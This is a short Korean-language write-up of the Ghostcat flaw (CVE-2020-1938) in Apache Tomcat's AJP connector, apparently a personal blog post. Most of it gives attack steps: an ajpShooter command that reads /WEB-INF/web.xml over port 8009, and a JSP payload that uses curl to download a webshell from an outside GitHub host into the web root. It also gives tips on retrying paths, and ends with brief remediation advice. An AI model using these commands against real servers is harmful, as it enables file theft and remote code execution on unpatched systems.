https://nvd.nist.gov/vuln/detail/CVE-2020-1938
개요
Tomcat은 8080 포트를 사용하는 HTTP Connector, 8009 포트를 사용하는 AJP Connector, 두 개의 커넥터로 구성되고 있습니다. HTTP 커넥터는 우리가 자주 사용하는 HTTP 웹 서비스를 제공하는데 사용되고 있으며, AJP 커넥터는 AJP(Apache Jserv Protocol) 프로토콜을 사용하는데 HTTP 프로토콜의 성능 최적화를 위해 사용됩니다. Tomcat은 AJP를 Apache HTTPD 웹서버나 다른 톰캣 인스턴스와 데이터를 교환하기 위해 사용합니다. 따라서, Tomcat에서 디폴트로 AJP 커넥터가 활성화되어 있고, 8009 포트로 열려있기 때문에 공격자는 AJP 버그를 이용해 서버 내 파일 읽기/쓰기(파일 업로드 허용하는 경우)가 가능합니다.
취약한 버전
웹상에 해당 주소 /WEB-INF/web.xml로 접근시 오류가 나지만
ajp슈터를 이용하여 접근하면 파일을 읽을 수가 있다.
python3 ajpShooter.py http://127.0.0.1 8009 /WEB-INF/web.xml read
맨뒤에 명령어 read시 파일 읽기, .eval시 파일 실행 !
만약에 경로가 안맞으면 500번 에러가 뜰것이다. 경로가 제일 중요하다. 위에서 부터 차근차근 접근하기.
읽기 성공했다면 200번 코드와 해당 파일의 내용을 확인할 수 있다.
test. txt // hackme hackme
=> 200번실행시 hackme hackme 출력 확인
웹셀
<% Runtime.getRuntime().exec("cmd.exe /C curl -o ..//webapps//ROOT//cmd.jsp https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp"); %>
성공했다면 cmd 파일이 생성 될 탠데 기존의 해당 프로그램.txt은 확장자를 수정할 필요없이 잘 jsp로 동작한다.
또한 경로가 맞지않아서 생성이 되지 않은경우가 많아서 위에 경로를 하나씩 수정해가면서 확인해야한다.
참고
https://ddungkill.tistory.com/129
ajp shooter - https://github.com/00theway/Ghostcat-CNVD-2020-10487#readme
ajp 명령어 정리
Apache Tomcat 최신 버전으로 업데이트 권고. 업데이트가 불가능 할 경우, server.xml 파일에서 AJP 프로토콜 비활성화 또는 사용자 검증 코드 추가
<AJP 프로토콜 활성화>
<AJP 프로토콜 비활성화>
<사용자 검증 코드 추가>